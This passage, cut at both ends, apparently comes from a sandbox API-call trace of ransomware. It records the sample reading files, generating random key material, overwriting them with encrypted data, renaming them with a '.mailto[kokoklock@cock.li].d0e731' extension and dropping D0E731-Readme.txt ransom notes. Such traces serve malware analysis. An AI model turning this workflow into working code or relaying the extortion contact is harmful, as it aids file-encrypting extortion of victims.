Size=0x40) returned 0x33fcce0 [0071.235] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479f88 [0071.235] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3422de8 [0071.235] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3422de8) returned 1 [0071.236] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x33f28e0 [0071.236] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3422fa0 [0071.236] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3422cf8 [0071.236] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3422cf8) returned 1 [0071.236] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479f88) returned 1 [0071.236] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fcce0) returned 1 [0071.236] WriteFile (in: hFile=0x3a0, lpBuffer=0x33f28e0*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0xbeaf8e4, lpOverlapped=0x0 | out: lpBuffer=0x33f28e0*, lpNumberOfBytesWritten=0xbeaf8e4*=0x4096, lpOverlapped=0x0) returned 1 [0071.236] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f28e0) returned 1 [0071.236] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x135c0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.236] WriteFile (in: hFile=0x3a0, lpBuffer=0x3422fa0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xbeaf91c, lpOverlapped=0x0 | out: lpBuffer=0x3422fa0*, lpNumberOfBytesWritten=0xbeaf91c*=0x20, lpOverlapped=0x0) returned 1 [0071.236] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3422fa0) returned 1 [0071.236] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3475830) returned 1 [0071.236] WriteFile (in: hFile=0x3a0, lpBuffer=0x3422e60*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0xbeaf930, lpOverlapped=0x0 | out: lpBuffer=0x3422e60*, lpNumberOfBytesWritten=0xbeaf930*=0x8, lpOverlapped=0x0) returned 1 [0071.237] WriteFile (in: hFile=0x3a0, lpBuffer=0xbeaf948*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xbeaf930, lpOverlapped=0x0 | out: lpBuffer=0xbeaf948*, lpNumberOfBytesWritten=0xbeaf930*=0x4, lpOverlapped=0x0) returned 1 [0071.237] WriteFile (in: hFile=0x3a0, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xbeaf930, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0xbeaf930*=0x4, lpOverlapped=0x0) returned 1 [0071.237] WriteFile (in: hFile=0x3a0, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0xbeaf930, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0xbeaf930*=0x6c, lpOverlapped=0x0) returned 1 [0071.237] WriteFile (in: hFile=0x3a0, lpBuffer=0x3422e10*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xbeaf930, lpOverlapped=0x0 | out: lpBuffer=0x3422e10*, lpNumberOfBytesWritten=0xbeaf930*=0x20, lpOverlapped=0x0) returned 1 [0071.237] WriteFile (in: hFile=0x3a0, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xbeaf930, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0xbeaf930*=0x4, lpOverlapped=0x0) returned 1 [0071.237] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3422e10) returned 1 [0071.237] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3422cd0) returned 1 [0071.237] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3422e60) returned 1 [0071.237] CloseHandle (hObject=0x3a0) returned 1 [0071.237] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x9c) returned 0x33e6330 [0071.237] wcscpy (in: _Dest=0x33e6330, _Source="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml" | out: _Dest="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml") returned="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml" [0071.237] wcscat (in: _Dest=0x33e6330, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731") returned="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731" [0071.237] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1044\\localizeddata.xml"), lpNewFileName="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\588bce7c90097ed212\\1044\\localizeddata.xml.mailto[kokoklock@cock.li].d0e731")) returned 1 [0071.238] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x80) returned 1 [0071.238] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e6330) returned 1 [0071.238] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml", dwFileAttributes=0x80) returned 0 [0071.238] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x5c) returned 0x3426d28 [0071.238] wcscpy (in: _Dest=0x3426d28, _Source="C:\\588bce7c90097ed212\\1044\\" | out: _Dest="C:\\588bce7c90097ed212\\1044\\") returned="C:\\588bce7c90097ed212\\1044\\" [0071.239] wcscat (in: _Dest=0x3426d28, _Source="D0E731-Readme.txt" | out: _Dest="C:\\588bce7c90097ed212\\1044\\D0E731-Readme.txt") returned="C:\\588bce7c90097ed212\\1044\\D0E731-Readme.txt" [0071.239] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1044\\D0E731-Readme.txt" (normalized: "c:\\588bce7c90097ed212\\1044\\d0e731-readme.txt")) returned 0xffffffff [0071.239] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1044\\D0E731-Readme.txt" (normalized: "c:\\588bce7c90097ed212\\1044\\d0e731-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x79c [0071.241] WriteFile (in: hFile=0x79c, lpBuffer=0x33e3ba8*, nNumberOfBytesToWrite=0x481, lpNumberOfBytesWritten=0xbeaf92c, lpOverlapped=0x0 | out: lpBuffer=0x33e3ba8*, lpNumberOfBytesWritten=0xbeaf92c*=0x481, lpOverlapped=0x0) returned 1 [0071.242] CloseHandle (hObject=0x79c) returned 1 [0071.242] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3426d28) returned 1 [0071.242] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e8460) returned 1 [0071.242] RtlExitUserThread (Status=0x1) Thread: id = 230 os_tid = 0x1210 [0063.485] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1040\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1040\\eula.rtf")) returned 0x80 [0066.374] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1040\\eula.rtf", dwFileAttributes=0x20) returned 1 [0068.706] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1040\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1040\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x758 [0068.706] GetFileSizeEx (in: hFile=0x758, lpFileSize=0xbf2fc90 | out: lpFileSize=0xbf2fc90*=3643) returned 1 [0068.706] SetFilePointerEx (in: hFile=0x758, liDistanceToMove=0xe37, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0068.706] ReadFile (in: hFile=0x758, lpBuffer=0xbf2fc64, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xbf2fc60, lpOverlapped=0x0 | out: lpBuffer=0xbf2fc64*, lpNumberOfBytesRead=0xbf2fc60*=0x4, lpOverlapped=0x0) returned 1 [0068.707] SetFilePointerEx (in: hFile=0x758, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0068.708] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3423e20 [0068.708] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3424028 [0068.708] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3423f88 [0068.708] NtQuerySystemTime (in: CurrentTime=0xbf2fc3c | out: CurrentTime=0xbf2fc3c*=132121176266035766) returned 0x0 [0068.708] RtlRandom (in: Seed=0xbf2fc48 | out: Seed=0xbf2fc48) returned 0xc99ac3ef [0068.708] RtlRandom (in: Seed=0xbf2fc48 | out: Seed=0xbf2fc48) returned 0xefff5b8f [0068.708] RtlRandom (in: Seed=0xbf2fc48 | out: Seed=0xbf2fc48) returned 0x76723771 [0068.708] RtlRandom (in: Seed=0xbf2fc48 | out: Seed=0xbf2fc48) returned 0x92c44510 [0068.708] RtlRandom (in: Seed=0xbf2fc48 | out: Seed=0xbf2fc48) returned 0x29af33 [0068.708] RtlRandom (in: Seed=0xbf2fc48 | out: Seed=0xbf2fc48) returned 0xed242e93 [0068.708] RtlRandom (in: Seed=0xbf2fc48 | out: Seed=0xbf2fc48) returned 0xc0eaf097 [0068.708] RtlRandom (in: Seed=0xbf2fc48 | out: Seed=0xbf2fc48) returned 0x1bcef8ab [0068.708] RtlRandom (in: Seed=0xbf2fc48 | out: Seed=0xbf2fc48) returned 0xc8073949 [0068.708] RtlRandom (in: Seed=0xbf2fc48 | out: Seed=0xbf2fc48) returned 0xfe298401 [0068.708] RtlRandom (in: Seed=0xbf2fc48 | out: Seed=0xbf2fc48) returned 0x32ef0b7b [0068.708] RtlRandom (in: Seed=0xbf2fc48 | out: Seed=0xbf2fc48) returned 0x4f083dd0 [0068.708] RtlRandom (in: Seed=0xbf2fc48 | out: Seed=0xbf2fc48) returned 0x831d5425 [0068.708] RtlRandom (in: Seed=0xbf2fc48 | out: Seed=0xbf2fc48) returned 0xc71a3120 [0068.708] RtlRandom (in: Seed=0xbf2fc48 | out: Seed=0xbf2fc48) returned 0xe7a454df [0068.708] RtlRandom (in: Seed=0xbf2fc48 | out: Seed=0xbf2fc48) returned 0xa0a96727 [0068.708] RtlRandom (in: Seed=0xbf2fc48 | out: Seed=0xbf2fc48) returned 0x400ade33 [0068.708] RtlRandom (in: Seed=0xbf2fc48 | out: Seed=0xbf2fc48) returned 0xc0369fa9 [0068.708] RtlRandom (in: Seed=0xbf2fc48 | out: Seed=0xbf2fc48) returned 0x786082f4 [0068.708] RtlRandom (in: Seed=0xbf2fc48 | out: Seed=0xbf2fc48) returned 0x22a7f423 [0068.708] RtlRandom (in: Seed=0xbf2fc48 | out: Seed=0xbf2fc48) returned 0xee290875 [0068.708] RtlRandom (in: Seed=0xbf2fc48 | out: Seed=0xbf2fc48) returned 0x60df9358 [0068.708] RtlRandom (in: Seed=0xbf2fc48 | out: Seed=0xbf2fc48) returned 0xf333efa7 [0068.708] RtlRandom (in: Seed=0xbf2fc48 | out: Seed=0xbf2fc48) returned 0xfb712eb4 [0068.708] RtlRandom (in: Seed=0xbf2fc48 | out: Seed=0xbf2fc48) returned 0x9aba95f2 [0068.708] RtlRandom (in: Seed=0xbf2fc48 | out: Seed=0xbf2fc48) returned 0xc549280b [0068.708] RtlRandom (in: Seed=0xbf2fc48 | out: Seed=0xbf2fc48) returned 0x920591cd [0068.708] RtlRandom (in: Seed=0xbf2fc48 | out: Seed=0xbf2fc48) returned 0xc1005fcf [0068.708] RtlRandom (in: Seed=0xbf2fc48 | out: Seed=0xbf2fc48) returned 0x6e2cc0d9 [0068.709] RtlRandom (in: Seed=0xbf2fc48 | out: Seed=0xbf2fc48) returned 0x21bb6e17 [0068.709] RtlRandom (in: Seed=0xbf2fc48 | out: Seed=0xbf2fc48) returned 0x8266ec97 [0068.709] RtlRandom (in: Seed=0xbf2fc48 | out: Seed=0xbf2fc48) returned 0xe50a14d1 [0068.720] ReadFile (in: hFile=0x758, lpBuffer=0x3475830, nNumberOfBytesToRead=0xe3b, lpNumberOfBytesRead=0xbf2fc3c, lpOverlapped=0x0 | out: lpBuffer=0x3475830*, lpNumberOfBytesRead=0xbf2fc3c*=0xe3b, lpOverlapped=0x0) returned 1 [0068.720] SetFilePointerEx (in: hFile=0x758, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0xbf2fc04 | out: lpNewFilePointer=0x0) returned 1 [0068.720] WriteFile (in: hFile=0x758, lpBuffer=0x3486220*, nNumberOfBytesToWrite=0xe3b, lpNumberOfBytesWritten=0xbf2fc38, lpOverlapped=0x0 | out: lpBuffer=0x3486220*, lpNumberOfBytesWritten=0xbf2fc38*=0xe3b, lpOverlapped=0x0) returned 1 [0068.720] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3423e20 [0068.720] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3423e48 [0068.720] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3423e48) returned 1 [0068.720] WriteFile (in: hFile=0x758, lpBuffer=0x3423e20*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xbf2fc34, lpOverlapped=0x0 | out: lpBuffer=0x3423e20*, lpNumberOfBytesWritten=0xbf2fc34*=0x20, lpOverlapped=0x0) returned 1 [0068.720] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3423e20) returned 1 [0068.721] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3486220) returned 1 [0068.721] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3475830) returned 1 [0068.721] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479da8) returned 1 [0068.721] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fce00) returned 1 [0068.721] WriteFile (in: hFile=0x758, lpBuffer=0x3423e70*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0xbf2fc60, lpOverlapped=0x0 | out: lpBuffer=0x3423e70*, lpNumberOfBytesWritten=0xbf2fc60*=0x8, lpOverlapped=0x0) returned 1 [0068.721] WriteFile (in: hFile=0x758, lpBuffer=0xbf2fc78*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xbf2fc60, lpOverlapped=0x0 | out: lpBuffer=0xbf2fc78*, lpNumberOfBytesWritten=0xbf2fc60*=0x4, lpOverlapped=0x0) returned 1 [0068.721] WriteFile (in: hFile=0x758, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xbf2fc60, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0xbf2fc60*=0x4, lpOverlapped=0x0) returned 1 [0068.721] WriteFile (in: hFile=0x758, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0xbf2fc60, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0xbf2fc60*=0x6c, lpOverlapped=0x0) returned 1 [0068.721] WriteFile (in: hFile=0x758, lpBuffer=0x3424028*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xbf2fc60, lpOverlapped=0x0 | out: lpBuffer=0x3424028*, lpNumberOfBytesWritten=0xbf2fc60*=0x20, lpOverlapped=0x0) returned 1 [0068.721] WriteFile (in: hFile=0x758, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xbf2fc60, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0xbf2fc60*=0x4, lpOverlapped=0x0) returned 1 [0068.721] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3424028) returned 1 [0068.721] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3424000) returned 1 [0068.721] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3423e70) returned 1 [0068.721] CloseHandle (hObject=0x758) returned 1 [0071.219] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x8a) returned 0x347bca0 [0071.219] wcscpy (in: _Dest=0x347bca0, _Source="C:\\588bce7c90097ed212\\1040\\eula.rtf" | out: _Dest="C:\\588bce7c90097ed212\\1040\\eula.rtf") returned="C:\\588bce7c90097ed212\\1040\\eula.rtf" [0071.219] wcscat (in: _Dest=0x347bca0, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\588bce7c90097ed212\\1040\\eula.rtf.mailto[kokoklock@cock.li].d0e731") returned="C:\\588bce7c90097ed212\\1040\\eula.rtf.mailto[kokoklock@cock.li].d0e731" [0071.219] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\1040\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1040\\eula.rtf"), lpNewFileName="C:\\588bce7c90097ed212\\1040\\eula.rtf.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\588bce7c90097ed212\\1040\\eula.rtf.mailto[kokoklock@cock.li].d0e731")) returned 1 [0071.219] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1040\\eula.rtf.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x80) returned 1 [0071.220] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347bca0) returned 1 [0071.220] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1040\\eula.rtf", dwFileAttributes=0x80) returned 0 [0071.220] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x5c) returned 0x3426df8 [0071.220] wcscpy (in: _Dest=0x3426df8, _Source="C:\\588bce7c90097ed212\\1040\\" | out: _Dest="C:\\588bce7c90097ed212\\1040\\") returned="C:\\588bce7c90097ed212\\1040\\" [0071.220] wcscat (in: _Dest=0x3426df8, _Source="D0E731-Readme.txt" | out: _Dest="C:\\588bce7c90097ed212\\1040\\D0E731-Readme.txt") returned="C:\\588bce7c90097ed212\\1040\\D0E731-Readme.txt" [0071.220] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1040\\D0E731-Readme.txt" (normalized: "c:\\588bce7c90097ed212\\1040\\d0e731-readme.txt")) returned 0x20 [0071.220] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3426df8) returned 1 [0071.220] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33faaa8) returned 1 [0071.220] RtlExitUserThread (Status=0x1) Thread: id = 231 os_tid = 0x1214 [0063.486] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1040\\localizeddata.xml")) returned 0x80 [0064.590] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml", dwFileAttributes=0x20) returned 1 [0071.175] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1040\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x79c [0071.198] GetFileSizeEx (in: hFile=0x79c, lpFileSize=0xbfafa6c | out: lpFileSize=0xbfafa6c*=80060) returned 1 [0071.198] SetFilePointerEx (in: hFile=0x79c, liDistanceToMove=0x138b8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.198] ReadFile (in: hFile=0x79c, lpBuffer=0xbfafa40, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xbfafa3c, lpOverlapped=0x0 | out: lpBuffer=0xbfafa40*, lpNumberOfBytesRead=0xbfafa3c*=0x4, lpOverlapped=0x0) returned 1 [0071.199] SetFilePointerEx (in: hFile=0x79c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.199] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3422fa0 [0071.199] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3422e10 [0071.199] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3422c80 [0071.199] NtQuerySystemTime (in: CurrentTime=0xbfafa18 | out: CurrentTime=0xbfafa18*=132121176290879521) returned 0x0 [0071.199] RtlRandom (in: Seed=0xbfafa24 | out: Seed=0xbfafa24) returned 0x468cccba [0071.200] RtlRandom (in: Seed=0xbfafa24 | out: Seed=0xbfafa24) returned 0xb21d11b3 [0071.200] RtlRandom (in: Seed=0xbfafa24 | out: Seed=0xbfafa24) returned 0xbbb0b470 [0071.200] RtlRandom (in: Seed=0xbfafa24 | out: Seed=0xbfafa24) returned 0x7b077aed [0071.200] RtlRandom (in: Seed=0xbfafa24 | out: Seed=0xbfafa24) returned 0xff2b465d [0071.200] RtlRandom (in: Seed=0xbfafa24 | out: Seed=0xbfafa24) returned 0x5245593a [0071.200] RtlRandom (in: Seed=0xbfafa24 | out: Seed=0xbfafa24) returned 0x5d55f436 [0071.200] RtlRandom (in: Seed=0xbfafa24 | out: Seed=0xbfafa24) returned 0xb7cae21a [0071.200] RtlRandom (in: Seed=0xbfafa24 | out: Seed=0xbfafa24) returned 0xfa322a98 [0071.200] RtlRandom (in: Seed=0xbfafa24 | out: Seed=0xbfafa24) returned 0x27efe7e1 [0071.200] RtlRandom (in: Seed=0xbfafa24 | out: Seed=0xbfafa24) returned 0x4d751a20 [0071.200] RtlRandom (in: Seed=0xbfafa24 | out: Seed=0xbfafa24) returned 0x3782e4f6 [0071.200] RtlRandom (in: Seed=0xbfafa24 | out: Seed=0xbfafa24) returned 0xbd2a78f2 [0071.200] RtlRandom (in: Seed=0xbfafa24 | out: Seed=0xbfafa24) returned 0x178399a2 [0071.200] RtlRandom (in: Seed=0xbfafa24 | out: Seed=0xbfafa24) returned 0x79923091 [0071.200] RtlRandom (in: Seed=0xbfafa24 | out: Seed=0xbfafa24) returned 0x84b7fbb3 [0071.200] RtlRandom (in: Seed=0xbfafa24 | out: Seed=0xbfafa24) returned 0xb3602fac [0071.200] RtlRandom (in: Seed=0xbfafa24 | out: Seed=0xbfafa24) returned 0xc5f971b4 [0071.200] RtlRandom (in: Seed=0xbfafa24 | out: Seed=0xbfafa24) returned 0xb2f87362 [0071.200] RtlRandom (in: Seed=0xbfafa24 | out: Seed=0xbfafa24) returned 0xb6b954f5 [0071.200] RtlRandom (in: Seed=0xbfafa24 | out: Seed=0xbfafa24) returned 0xb38381c4 [0071.200] RtlRandom (in: Seed=0xbfafa24 | out: Seed=0xbfafa24) returned 0xdfd685bc [0071.200] RtlRandom (in: Seed=0xbfafa24 | out: Seed=0xbfafa24) returned 0x5648ec3a [0071.200] RtlRandom (in: Seed=0xbfafa24 | out: Seed=0xbfafa24) returned 0xf1a9dbc5 [0071.200] RtlRandom (in: Seed=0xbfafa24 | out: Seed=0xbfafa24) returned 0xf7c93653 [0071.200] RtlRandom (in: Seed=0xbfafa24 | out: Seed=0xbfafa24) returned 0x3c77ba45 [0071.200] RtlRandom (in: Seed=0xbfafa24 | out: Seed=0xbfafa24) returned 0xc5dfee30 [0071.200] RtlRandom (in: Seed=0xbfafa24 | out: Seed=0xbfafa24) returned 0x54cf9594 [0071.200] RtlRandom (in: Seed=0xbfafa24 | out: Seed=0xbfafa24) returned 0xc64614a6 [0071.200] RtlRandom (in: Seed=0xbfafa24 | out: Seed=0xbfafa24) returned 0xbd246c89 [0071.200] RtlRandom (in: Seed=0xbfafa24 | out: Seed=0xbfafa24) returned 0x9a662d73 [0071.200] RtlRandom (in: Seed=0xbfafa24 | out: Seed=0xbfafa24) returned 0x443b2389 [0071.211] SetFilePointerEx (in: hFile=0x79c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.211] ReadFile (in: hFile=0x79c, lpBuffer=0x3475830, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0xbfaf9f0, lpOverlapped=0x0 | out: lpBuffer=0x3475830*, lpNumberOfBytesRead=0xbfaf9f0*=0x4096, lpOverlapped=0x0) returned 1 [0071.212] SetFilePointerEx (in: hFile=0x79c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.212] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fcce0 [0071.212] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479f88 [0071.212] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3422de8 [0071.212] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3422de8) returned 1 [0071.212] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x33f28e0 [0071.213] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3422fa0 [0071.213] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3422cf8 [0071.213] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3422cf8) returned 1 [0071.213] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479f88) returned 1 [0071.213] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fcce0) returned 1 [0071.213] WriteFile (in: hFile=0x79c, lpBuffer=0x33f28e0*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0xbfaf9f0, lpOverlapped=0x0 | out: lpBuffer=0x33f28e0*, lpNumberOfBytesWritten=0xbfaf9f0*=0x4096, lpOverlapped=0x0) returned 1 [0071.213] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f28e0) returned 1 [0071.213] SetFilePointerEx (in: hFile=0x79c, liDistanceToMove=0x138bc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.213] WriteFile (in: hFile=0x79c, lpBuffer=0x3422fa0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xbfafa28, lpOverlapped=0x0 | out: lpBuffer=0x3422fa0*, lpNumberOfBytesWritten=0xbfafa28*=0x20, lpOverlapped=0x0) returned 1 [0071.213] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3422fa0) returned 1 [0071.213] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3475830) returned 1 [0071.213] WriteFile (in: hFile=0x79c, lpBuffer=0x3422e60*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0xbfafa3c, lpOverlapped=0x0 | out: lpBuffer=0x3422e60*, lpNumberOfBytesWritten=0xbfafa3c*=0x8, lpOverlapped=0x0) returned 1 [0071.213] WriteFile (in: hFile=0x79c, lpBuffer=0xbfafa54*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xbfafa3c, lpOverlapped=0x0 | out: lpBuffer=0xbfafa54*, lpNumberOfBytesWritten=0xbfafa3c*=0x4, lpOverlapped=0x0) returned 1 [0071.213] WriteFile (in: hFile=0x79c, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xbfafa3c, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0xbfafa3c*=0x4, lpOverlapped=0x0) returned 1 [0071.214] WriteFile (in: hFile=0x79c, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0xbfafa3c, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0xbfafa3c*=0x6c, lpOverlapped=0x0) returned 1 [0071.214] WriteFile (in: hFile=0x79c, lpBuffer=0x3422e10*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xbfafa3c, lpOverlapped=0x0 | out: lpBuffer=0x3422e10*, lpNumberOfBytesWritten=0xbfafa3c*=0x20, lpOverlapped=0x0) returned 1 [0071.214] WriteFile (in: 